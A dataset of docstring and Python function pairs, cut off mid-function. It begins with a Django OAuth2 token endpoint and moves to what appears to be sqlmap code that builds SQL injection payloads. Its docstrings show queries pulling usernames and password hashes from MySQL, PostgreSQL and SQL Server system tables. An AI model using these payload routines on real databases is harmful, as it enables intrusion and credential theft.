desc
stringlengths 3
26.7k
| decl
stringlengths 11
7.89k
| bodies
stringlengths 8
553k
|
---|---|---|
'Return the refresh token associated with this request or an error dict.
:return: ``tuple`` - ``(True or False, token or error_dict)``'
| def get_refresh_token_grant(self, request, data, client):
| raise NotImplementedError
|
'Return a user associated with this request or an error dict.
:return: ``tuple`` - ``(True or False, user or error_dict)``'
| def get_password_grant(self, request, data, client):
| raise NotImplementedError
|
'Override to handle fetching of an existing access token.
:return: ``object`` - Access token'
| def get_access_token(self, request, user, scope, client):
| raise NotImplementedError
|
'Override to handle access token creation.
:return: ``object`` - Access token'
| def create_access_token(self, request, user, scope, client):
| raise NotImplementedError
|
'Override to handle refresh token creation.
:return: ``object`` - Refresh token'
| def create_refresh_token(self, request, user, scope, access_token, client):
| raise NotImplementedError
|
'Override to handle grant invalidation. A grant is invalidated right
after creating an access token from it.
:return None:'
| def invalidate_grant(self, grant):
| raise NotImplementedError
|
'Override to handle refresh token invalidation. When requesting a new
access token from a refresh token, the old one is *always* invalidated.
:return None:'
| def invalidate_refresh_token(self, refresh_token):
| raise NotImplementedError
|
'Override to handle access token invalidation. When a new access token
is created from a refresh token, the old one is *always* invalidated.
:return None:'
| def invalidate_access_token(self, access_token):
| raise NotImplementedError
|
'Return an error response to the client with default status code of
*400* stating the error as outlined in :rfc:`5.2`.'
| def error_response(self, error, mimetype='application/json', status=400, **kwargs):
| return HttpResponse(json.dumps(error), mimetype=mimetype, status=status, **kwargs)
|
'Returns a successful response after creating the access token
as defined in :rfc:`5.1`.'
| def access_token_response(self, access_token):
| response_data = {'access_token': access_token.token, 'token_type': constants.TOKEN_TYPE, 'expires_in': access_token.get_expire_delta(), 'scope': ' '.join(scope.names(access_token.scope))}
try:
rt = access_token.refresh_token
response_data['refresh_token'] = rt.token
except ObjectDoesNotExist:
pass
return HttpResponse(json.dumps(response_data), mimetype='application/json')
|
'Handle ``grant_type=authorization_code`` requests as defined in
:rfc:`4.1.3`.'
| def authorization_code(self, request, data, client):
| grant = self.get_authorization_code_grant(request, request.POST, client)
if constants.SINGLE_ACCESS_TOKEN:
at = self.get_access_token(request, grant.user, grant.scope, client)
else:
at = self.create_access_token(request, grant.user, grant.scope, client)
rt = self.create_refresh_token(request, grant.user, grant.scope, at, client)
self.invalidate_grant(grant)
return self.access_token_response(at)
|
'Handle ``grant_type=refresh_token`` requests as defined in :rfc:`6`.'
| def refresh_token(self, request, data, client):
| rt = self.get_refresh_token_grant(request, data, client)
self.invalidate_refresh_token(rt)
self.invalidate_access_token(rt.access_token)
at = self.create_access_token(request, rt.user, rt.access_token.scope, client)
rt = self.create_refresh_token(request, at.user, at.scope, at, client)
return self.access_token_response(at)
|
'Handle ``grant_type=password`` requests as defined in :rfc:`4.3`.'
| def password(self, request, data, client):
| data = self.get_password_grant(request, data, client)
user = data.get('user')
scope = data.get('scope')
if constants.SINGLE_ACCESS_TOKEN:
at = self.get_access_token(request, user, scope, client)
else:
at = self.create_access_token(request, user, scope, client)
if (client.client_type != 1):
rt = self.create_refresh_token(request, user, scope, at, client)
return self.access_token_response(at)
|
'Return a function or method that is capable handling the ``grant_type``
requested by the client or return ``None`` to indicate that this type
of grant type is not supported, resulting in an error response.'
| def get_handler(self, grant_type):
| if (grant_type == 'authorization_code'):
return self.authorization_code
elif (grant_type == 'refresh_token'):
return self.refresh_token
elif (grant_type == 'password'):
return self.password
return None
|
'As per :rfc:`3.2` the token endpoint *only* supports POST requests.
Returns an error response.'
| def get(self, request):
| return self.error_response({'error': 'invalid_request', 'error_description': _('Only POST requests allowed.')})
|
'As per :rfc:`3.2` the token endpoint *only* supports POST requests.'
| def post(self, request):
| if (constants.ENFORCE_SECURE and (not request.is_secure())):
return self.error_response({'error': 'invalid_request', 'error_description': _('A secure connection is required.')})
if (not ('grant_type' in request.POST)):
return self.error_response({'error': 'invalid_request', 'error_description': _("No 'grant_type' included in the request.")})
grant_type = request.POST['grant_type']
if (grant_type not in self.grant_types):
return self.error_response({'error': 'unsupported_grant_type'})
client = self.authenticate(request)
if (client is None):
return self.error_response({'error': 'invalid_client'})
handler = self.get_handler(grant_type)
try:
return handler(request, request.POST, client)
except OAuthError as e:
return self.error_response(e.args[0])
|
'Resets thread data model'
| def reset(self):
| self.disableStdOut = False
self.hashDBCursor = None
self.inTransaction = False
self.lastCode = None
self.lastComparisonPage = None
self.lastComparisonHeaders = None
self.lastComparisonCode = None
self.lastComparisonRatio = None
self.lastErrorPage = None
self.lastHTTPError = None
self.lastRedirectMsg = None
self.lastQueryDuration = 0
self.lastPage = None
self.lastRequestMsg = None
self.lastRequestUID = 0
self.lastRedirectURL = None
self.random = random.WichmannHill()
self.resumed = False
self.retriesCount = 0
self.seqMatcher = difflib.SequenceMatcher(None)
self.shared = shared
self.validationRun = 0
self.valueStack = []
|
'Write an .ini-format representation of the configuration state.'
| def write(self, fp):
| if self._defaults:
fp.write(('[%s]\n' % DEFAULTSECT))
for (key, value) in self._defaults.items():
fp.write(('%s = %s\n' % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n DCTB '))))
fp.write('\n')
for section in self._sections:
fp.write(('[%s]\n' % section))
for (key, value) in self._sections[section].items():
if (key != '__name__'):
if (value is None):
fp.write(('%s\n' % key))
else:
fp.write(('%s = %s\n' % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n DCTB '))))
fp.write('\n')
|
'Format the back-end DBMS fingerprint value and return its
values formatted as a human readable string.
@return: detected back-end DBMS based upon fingerprint techniques.
@rtype: C{str}'
| @staticmethod
def getDbms(versions=None):
| if ((versions is None) and Backend.getVersionList()):
versions = Backend.getVersionList()
return (Backend.getDbms() if (versions is None) else ('%s %s' % (Backend.getDbms(), ' and '.join(filter(None, versions)))))
|
'Parses the knowledge base htmlFp list and return its values
formatted as a human readable string.
@return: list of possible back-end DBMS based upon error messages
parsing.
@rtype: C{str}'
| @staticmethod
def getErrorParsedDBMSes():
| htmlParsed = None
if ((len(kb.htmlFp) == 0) or (kb.heuristicTest != HEURISTIC_TEST.POSITIVE)):
pass
elif (len(kb.htmlFp) == 1):
htmlParsed = kb.htmlFp[0]
elif (len(kb.htmlFp) > 1):
htmlParsed = ' or '.join(kb.htmlFp)
return htmlParsed
|
'Formats the back-end operating system fingerprint value
and return its values formatted as a human readable string.
Example of info (kb.headersFp) dictionary:
\'distrib\': set([\'Ubuntu\']),
\'type\': set([\'Linux\']),
\'technology\': set([\'PHP 5.2.6\', \'Apache 2.2.9\']),
\'release\': set([\'8.10\'])
Example of info (kb.bannerFp) dictionary:
\'sp\': set([\'Service Pack 4\']),
\'dbmsVersion\': \'8.00.194\',
\'dbmsServicePack\': \'0\',
\'distrib\': set([\'2000\']),
\'dbmsRelease\': \'2000\',
\'type\': set([\'Windows\'])
@return: detected back-end operating system based upon fingerprint
techniques.
@rtype: C{str}'
| @staticmethod
def getOs(target, info):
| infoStr = ''
infoApi = {}
if (info and ('type' in info)):
if conf.api:
infoApi[('%s operating system' % target)] = info
else:
infoStr += ('%s operating system: %s' % (target, Format.humanize(info['type'])))
if ('distrib' in info):
infoStr += (' %s' % Format.humanize(info['distrib']))
if ('release' in info):
infoStr += (' %s' % Format.humanize(info['release']))
if ('sp' in info):
infoStr += (' %s' % Format.humanize(info['sp']))
if ('codename' in info):
infoStr += (' (%s)' % Format.humanize(info['codename']))
if ('technology' in info):
if conf.api:
infoApi['web application technology'] = Format.humanize(info['technology'], ', ')
else:
infoStr += ('\nweb application technology: %s' % Format.humanize(info['technology'], ', '))
if conf.api:
return infoApi
else:
return infoStr.lstrip()
|
'Returns array with parsed DBMS names till now
This functions is called to:
1. Ask user whether or not skip specific DBMS tests in detection phase,
lib/controller/checks.py - detection phase.
2. Sort the fingerprint of the DBMS, lib/controller/handler.py -
fingerprint phase.'
| @staticmethod
def getErrorParsedDBMSes():
| return (kb.htmlFp if (kb.get('heuristicTest') == HEURISTIC_TEST.POSITIVE) else [])
|
'This functions is called to:
1. Sort the tests, getSortedInjectionTests() - detection phase.
2. Etc.'
| @staticmethod
def getIdentifiedDbms():
| dbms = None
if (not kb):
pass
elif ((not kb.get('testMode')) and conf.get('dbmsHandler') and getattr(conf.dbmsHandler, '_dbms', None)):
dbms = conf.dbmsHandler._dbms
elif (Backend.getForcedDbms() is not None):
dbms = Backend.getForcedDbms()
elif (Backend.getDbms() is not None):
dbms = Backend.getDbms()
elif (kb.get('injection') and kb.injection.dbms):
dbms = unArrayizeValue(kb.injection.dbms)
elif Backend.getErrorParsedDBMSes():
dbms = unArrayizeValue(Backend.getErrorParsedDBMSes())
elif conf.get('dbms'):
dbms = conf.get('dbms')
return aliasToDbmsEnum(dbms)
|
'This method replaces the affected parameter with the SQL
injection statement to request'
| def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
| if conf.direct:
return self.payloadDirect(newValue)
retVal = ''
if kb.forceWhere:
where = kb.forceWhere
elif ((where is None) and isTechniqueAvailable(kb.technique)):
where = kb.injection.data[kb.technique].where
if (kb.injection.place is not None):
place = kb.injection.place
if (kb.injection.parameter is not None):
parameter = kb.injection.parameter
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = getUnicode(paramDict[parameter])
if ((place == PLACE.URI) or (BOUNDED_INJECTION_MARKER in origValue)):
paramString = origValue
if (place == PLACE.URI):
origValue = origValue.split(kb.customInjectionMark)[0]
else:
origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in ('\\w+\\Z', '[^\\"\'><]+\\Z', '[^ ]+\\Z')))[0].group(0)
origValue = origValue[(origValue.rfind('/') + 1):]
for char in ('?', '=', ':'):
if (char in origValue):
origValue = origValue[(origValue.rfind(char) + 1):]
elif (place == PLACE.CUSTOM_POST):
paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0]
if (kb.postHint in (POST_HINT.SOAP, POST_HINT.XML)):
origValue = origValue.split('>')[(-1)]
elif (kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE)):
origValue = (extractRegexResult('(?s)\\"\\s*:\\s*(?P<result>\\d+\\Z)', origValue) or extractRegexResult('(?s)\\s*(?P<result>[^"\\[,]+\\Z)', origValue))
else:
_ = (extractRegexResult('(?s)(?P<result>[^\\s<>{}();\'\\"&]+\\Z)', origValue) or '')
origValue = (_.split('=', 1)[1] if ('=' in _) else '')
elif (place == PLACE.CUSTOM_HEADER):
paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0]
origValue = origValue[(origValue.find(',') + 1):]
match = re.search('([^;]+)=(?P<value>[^;]+);?\\Z', origValue)
if match:
origValue = match.group('value')
elif (',' in paramString):
header = paramString.split(',')[0]
if (header.upper() == HTTP_HEADER.AUTHORIZATION.upper()):
origValue = origValue.split(' ')[(-1)].split(':')[(-1)]
origValue = (origValue or '')
if (value is None):
if (where == PAYLOAD.WHERE.ORIGINAL):
value = origValue
elif (where == PAYLOAD.WHERE.NEGATIVE):
if conf.invalidLogical:
match = re.search('\\A[^ ]+', newValue)
newValue = newValue[len((match.group() if match else '')):]
_ = randomInt(2)
value = ('%s%s AND %s=%s' % (origValue, (match.group() if match else ''), _, (_ + 1)))
elif conf.invalidBignum:
value = randomInt(6)
elif conf.invalidString:
value = randomStr(6)
elif newValue.startswith('-'):
value = ''
else:
value = ('-%s' % randomInt())
elif (where == PAYLOAD.WHERE.REPLACE):
value = ''
else:
value = origValue
newValue = ('%s%s' % (value, newValue))
newValue = self.cleanupPayload(newValue, origValue)
if (place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER)):
_ = ('%s%s' % (origValue, kb.customInjectionMark))
if ((kb.postHint == POST_HINT.JSON) and (not isNumber(newValue)) and (not (('"%s"' % _) in paramString))):
newValue = ('"%s"' % newValue)
elif ((kb.postHint == POST_HINT.JSON_LIKE) and (not isNumber(newValue)) and (not (("'%s'" % _) in paramString))):
newValue = ("'%s'" % newValue)
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
retVal = retVal.replace(kb.customInjectionMark, '').replace(REPLACEMENT_MARKER, kb.customInjectionMark)
elif (BOUNDED_INJECTION_MARKER in paramDict[parameter]):
_ = ('%s%s' % (origValue, BOUNDED_INJECTION_MARKER))
retVal = ('%s=%s' % (re.sub(' (\\#\\d\\*|\\(.+\\))\\Z', '', parameter), paramString.replace(_, self.addPayloadDelimiters(newValue))))
elif (place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST)):
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
else:
def _(pattern, repl, string):
retVal = string
match = None
for match in re.finditer(pattern, string):
pass
if match:
while True:
_ = re.search('\\\\g<([^>]+)>', repl)
if _:
try:
repl = repl.replace(_.group(0), match.group((int(_.group(1)) if _.group(1).isdigit() else _.group(1))))
except IndexError:
break
else:
break
retVal = ((string[:match.start()] + repl) + string[match.end():])
return retVal
if origValue:
regex = ('(\\A|\\b)%s=%s%s' % (re.escape(parameter), re.escape(origValue), ('(\\Z|\\b)' if origValue[(-1)].isalnum() else '')))
retVal = _(regex, ('%s=%s' % (parameter, self.addPayloadDelimiters(newValue))), paramString)
else:
retVal = _(('(\\A|\\b)%s=%s(\\Z|%s|%s|\\s)' % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER)), ('%s=%s\\g<2>' % (parameter, self.addPayloadDelimiters(newValue))), paramString)
if ((retVal == paramString) and (urlencode(parameter) != parameter)):
retVal = _(('(\\A|\\b)%s=%s' % (re.escape(urlencode(parameter)), re.escape(origValue))), ('%s=%s' % (urlencode(parameter), self.addPayloadDelimiters(newValue))), paramString)
if retVal:
retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
return retVal
|
'This method defines how the input expression has to be escaped
to perform the injection depending on the injection type
identified as valid'
| def prefixQuery(self, expression, prefix=None, where=None, clause=None):
| if conf.direct:
return self.payloadDirect(expression)
if (expression is None):
return None
expression = self.cleanupPayload(expression)
expression = unescaper.escape(expression)
query = None
if ((where is None) and kb.technique and (kb.technique in kb.injection.data)):
where = kb.injection.data[kb.technique].where
if (where == PAYLOAD.WHERE.REPLACE):
query = ''
elif (kb.technique == PAYLOAD.TECHNIQUE.STACKED):
query = kb.injection.prefix
elif ((kb.injection.clause == [2, 3]) or (kb.injection.clause == [2]) or (kb.injection.clause == [3])):
query = kb.injection.prefix
elif ((clause == [2, 3]) or (clause == [2]) or (clause == [3])):
query = prefix
else:
query = (kb.injection.prefix or prefix or '')
if ((not (expression and (expression[0] == ';'))) and (not (query and (query[(-1)] in ('(', ')')) and expression and (expression[0] in ('(', ')')))) and (not (query and (query[(-1)] == '(')))):
query += ' '
query = ('%s%s' % ((query or '').replace('\\', BOUNDARY_BACKSLASH_MARKER), expression))
return query
|
'This method appends the DBMS comment to the
SQL injection request'
| def suffixQuery(self, expression, comment=None, suffix=None, where=None):
| if conf.direct:
return self.payloadDirect(expression)
if (expression is None):
return None
expression = self.cleanupPayload(expression)
suffix = (kb.injection.suffix if (kb.injection and (suffix is None)) else suffix)
if (kb.technique and (kb.technique in kb.injection.data)):
where = (kb.injection.data[kb.technique].where if (where is None) else where)
comment = (kb.injection.data[kb.technique].comment if (comment is None) else comment)
if ((Backend.getIdentifiedDbms() == DBMS.ACCESS) and any(((comment or '').startswith(_) for _ in ('--', '[GENERIC_SQL_COMMENT]')))):
comment = queries[DBMS.ACCESS].comment.query
if (comment is not None):
expression += comment
if ((where == PAYLOAD.WHERE.REPLACE) and (not conf.suffix)):
pass
elif (suffix and (not comment)):
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
return re.sub(';\\W*;', ';', expression)
|
'Returns payload with a replaced late tags (e.g. SLEEPTIME)'
| def adjustLateValues(self, payload):
| if payload:
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
for _ in set(re.findall('\\[RANDNUM(?:\\d+)?\\]', payload, re.I)):
payload = payload.replace(_, str(randomInt()))
for _ in set(re.findall('\\[RANDSTR(?:\\d+)?\\]', payload, re.I)):
payload = payload.replace(_, randomStr())
return payload
|
'Returns comment form for the given request'
| def getComment(self, request):
| return (request.comment if ('comment' in request) else '')
|
'Returns hex converted field string'
| def hexConvertField(self, field):
| rootQuery = queries[Backend.getIdentifiedDbms()]
hexField = field
if ('hex' in rootQuery):
hexField = (rootQuery.hex.query % field)
else:
warnMsg = ("switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms())
singleTimeWarnMessage(warnMsg)
return hexField
|
'Take in input a field string and return its processed nulled and
casted field string.
Examples:
MySQL input: VERSION()
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), \' \')
MySQL scope: VERSION()
PostgreSQL input: VERSION()
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), \' \')
PostgreSQL scope: VERSION()
Oracle input: banner
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), \' \')
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
Microsoft SQL Server input: @@VERSION
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), \' \')
Microsoft SQL Server scope: @@VERSION
@param field: field string to be processed
@type field: C{str}
@return: field string nulled and casted
@rtype: C{str}'
| def nullAndCastField(self, field):
| nulledCastedField = field
if field:
rootQuery = queries[Backend.getIdentifiedDbms()]
if (field.startswith('(CASE') or field.startswith('(IIF') or conf.noCast):
nulledCastedField = field
else:
if (not (Backend.isDbms(DBMS.SQLITE) and (not isDBMSVersionAtLeast('3')))):
nulledCastedField = (rootQuery.cast.query % field)
if (Backend.getIdentifiedDbms() in (DBMS.ACCESS,)):
nulledCastedField = (rootQuery.isnull.query % (nulledCastedField, nulledCastedField))
else:
nulledCastedField = (rootQuery.isnull.query % nulledCastedField)
kb.binaryField = (conf.binaryFields and (field in conf.binaryFields.split(',')))
if (conf.hexConvert or kb.binaryField):
nulledCastedField = self.hexConvertField(nulledCastedField)
return nulledCastedField
|
'Take in input a sequence of fields string and return its processed
nulled, casted and concatenated fields string.
Examples:
MySQL input: user,password
MySQL output: IFNULL(CAST(user AS CHAR(10000)), \' \'),\'UWciUe\',IFNULL(CAST(password AS CHAR(10000)), \' \')
MySQL scope: SELECT user, password FROM mysql.user
PostgreSQL input: usename,passwd
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), \' \')||\'xRBcZW\'||COALESCE(CAST(passwd AS CHARACTER(10000)), \' \')
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
Oracle input: COLUMN_NAME,DATA_TYPE
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), \' \')||\'UUlHUa\'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), \' \')
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=\'%s\'
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), \' \')+\'nTBdow\'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), \' \')
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
@param fields: fields string to be processed
@type fields: C{str}
@return: fields string nulled, casted and concatened
@rtype: C{str}'
| def nullCastConcatFields(self, fields):
| if (not Backend.getIdentifiedDbms()):
return fields
if (fields.startswith('(CASE') or fields.startswith('(IIF') or fields.startswith('SUBSTR') or fields.startswith('MID(') or re.search("\\A'[^']+'\\Z", fields)):
nulledCastedConcatFields = fields
else:
fieldsSplitted = splitFields(fields)
dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
nulledCastedFields = []
for field in fieldsSplitted:
nulledCastedFields.append(self.nullAndCastField(field))
delimiterStr = ("%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter))
nulledCastedConcatFields = delimiterStr.join((field for field in nulledCastedFields))
return nulledCastedConcatFields
|
'Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}'
| def getFields(self, query):
| prefixRegex = '(?:\\s+(?:FIRST|SKIP|LIMIT(?: \\d+)?)\\s+\\d+)*'
fieldsSelectTop = re.search('\\ASELECT\\s+TOP\\s+[\\d]+\\s+(.+?)\\s+FROM', query, re.I)
fieldsSelectRownum = re.search('\\ASELECT\\s+([^()]+?),\\s*ROWNUM AS LIMIT FROM', query, re.I)
fieldsSelectDistinct = re.search(('\\ASELECT%s\\s+DISTINCT\\((.+?)\\)\\s+FROM' % prefixRegex), query, re.I)
fieldsSelectCase = re.search(('\\ASELECT%s\\s+(\\(CASE WHEN\\s+.+\\s+END\\))' % prefixRegex), query, re.I)
fieldsSelectFrom = re.search(('\\ASELECT%s\\s+(.+?)\\s+FROM ' % prefixRegex), query, re.I)
fieldsExists = re.search('EXISTS\\(([^)]*)\\)\\Z', query, re.I)
fieldsSelect = re.search(('\\ASELECT%s\\s+(.*)' % prefixRegex), query, re.I)
fieldsSubstr = re.search('\\A(SUBSTR|MID\\()', query, re.I)
fieldsMinMaxstr = re.search('(?:MIN|MAX)\\(([^\\(\\)]+)\\)', query, re.I)
fieldsNoSelect = query
_ = zeroDepthSearch(query, ' FROM ')
if (not _):
fieldsSelectFrom = None
fieldsToCastStr = fieldsNoSelect
if fieldsSubstr:
fieldsToCastStr = query
elif fieldsMinMaxstr:
fieldsToCastStr = fieldsMinMaxstr.group(1)
elif fieldsExists:
if fieldsSelect:
fieldsToCastStr = fieldsSelect.group(1)
elif fieldsSelectTop:
fieldsToCastStr = fieldsSelectTop.group(1)
elif fieldsSelectRownum:
fieldsToCastStr = fieldsSelectRownum.group(1)
elif fieldsSelectDistinct:
if (Backend.getDbms() in (DBMS.HSQLDB,)):
fieldsToCastStr = fieldsNoSelect
else:
fieldsToCastStr = fieldsSelectDistinct.group(1)
elif fieldsSelectCase:
fieldsToCastStr = fieldsSelectCase.group(1)
elif fieldsSelectFrom:
fieldsToCastStr = (query[:unArrayizeValue(_)] if _ else query)
fieldsToCastStr = re.sub(('\\ASELECT%s\\s+' % prefixRegex), '', fieldsToCastStr)
elif fieldsSelect:
fieldsToCastStr = fieldsSelect.group(1)
fieldsToCastStr = (fieldsToCastStr or '')
if (re.search('\\A\\w+\\(.*\\)', fieldsToCastStr, re.I) or (fieldsSelectCase and ('WHEN use' not in query)) or fieldsSubstr):
fieldsToCastList = [fieldsToCastStr]
else:
fieldsToCastList = splitFields(fieldsToCastStr)
return (fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists)
|
'Does a field preprocessing (if needed) based on its type (e.g. image to text)
Note: used primarily in dumping of custom tables'
| def preprocessField(self, table, field):
| retVal = field
if (conf.db and table and (conf.db in table)):
table = table.split(conf.db)[(-1)].strip('.')
try:
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)]
for (name, type_) in columns.items():
if (type_ and (type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {})) and (name == field)):
retVal = (DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name)
break
except KeyError:
pass
return retVal
|
'Take in input a query string and return its processed nulled,
casted and concatenated query string.
Examples:
MySQL input: SELECT user, password FROM mysql.user
MySQL output: CONCAT(\'mMvPxc\',IFNULL(CAST(user AS CHAR(10000)), \' \'),\'nXlgnR\',IFNULL(CAST(password AS CHAR(10000)), \' \'),\'YnCzLl\') FROM mysql.user
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
PostgreSQL output: \'HsYIBS\'||COALESCE(CAST(usename AS CHARACTER(10000)), \' \')||\'KTBfZp\'||COALESCE(CAST(passwd AS CHARACTER(10000)), \' \')||\'LkhmuP\' FROM pg_shadow
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=\'USERS\'
Oracle output: \'GdBRAo\'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), \' \')||\'czEHOf\'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), \' \')||\'JVlYgS\' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=\'USERS\'
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
Microsoft SQL Server output: \'QQMQJO\'+ISNULL(CAST(name AS VARCHAR(8000)), \' \')+\'kAtlqH\'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), \' \')+\'lpEqoi\' FROM master..sysxlogins
@param query: query string to be processed
@type query: C{str}
@return: query string nulled, casted and concatenated
@rtype: C{str}'
| def concatQuery(self, query, unpack=True):
| if unpack:
concatenatedQuery = ''
query = query.replace(', ', ',')
(fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists) = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else:
return query
if Backend.isDbms(DBMS.MYSQL):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("CONCAT('%s'," % kb.chars.start), 1)
concatenatedQuery += (",'%s')" % kb.chars.stop)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("CONCAT('%s'," % kb.chars.start), 1)
concatenatedQuery += (",'%s')" % kb.chars.stop)
elif fieldsSelectFrom:
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, ' FROM '))
concatenatedQuery = ("%s,'%s')%s" % (concatenatedQuery[:_].replace('SELECT ', ("CONCAT('%s'," % kb.chars.start), 1), kb.chars.stop, concatenatedQuery[_:]))
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("CONCAT('%s'," % kb.chars.start), 1)
concatenatedQuery += (",'%s')" % kb.chars.stop)
elif fieldsNoSelect:
concatenatedQuery = ("CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop))
elif (Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB)):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'||" % kb.chars.start), 1)
concatenatedQuery += ("||'%s'" % kb.chars.stop)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'||(SELECT " % kb.chars.start), 1)
concatenatedQuery += (")||'%s'" % kb.chars.stop)
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'||" % kb.chars.start), 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, ' FROM '))
concatenatedQuery = ("%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]))
concatenatedQuery = re.sub(("('%s'\\|\\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields))), '\\g<2>\\g<1>\\g<3>', concatenatedQuery)
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'||" % kb.chars.start), 1)
concatenatedQuery += ("||'%s'" % kb.chars.stop)
elif fieldsNoSelect:
concatenatedQuery = ("'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop))
elif (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'+" % kb.chars.start), 1)
concatenatedQuery += ("+'%s'" % kb.chars.stop)
elif fieldsSelectTop:
topNum = re.search('\\ASELECT\\s+TOP\\s+([\\d]+)\\s+', concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace(('SELECT TOP %s ' % topNum), ("TOP %s '%s'+" % (topNum, kb.chars.start)), 1)
concatenatedQuery = concatenatedQuery.replace(' FROM ', ("+'%s' FROM " % kb.chars.stop), 1)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'+" % kb.chars.start), 1)
concatenatedQuery += ("+'%s'" % kb.chars.stop)
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'+" % kb.chars.start), 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, ' FROM '))
concatenatedQuery = ("%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]))
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'+" % kb.chars.start), 1)
concatenatedQuery += ("+'%s'" % kb.chars.stop)
elif fieldsNoSelect:
concatenatedQuery = ("'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop))
elif Backend.isDbms(DBMS.ACCESS):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'&" % kb.chars.start), 1)
concatenatedQuery += ("&'%s'" % kb.chars.stop)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'&(SELECT " % kb.chars.start), 1)
concatenatedQuery += (")&'%s'" % kb.chars.stop)
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'&" % kb.chars.start), 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, ' FROM '))
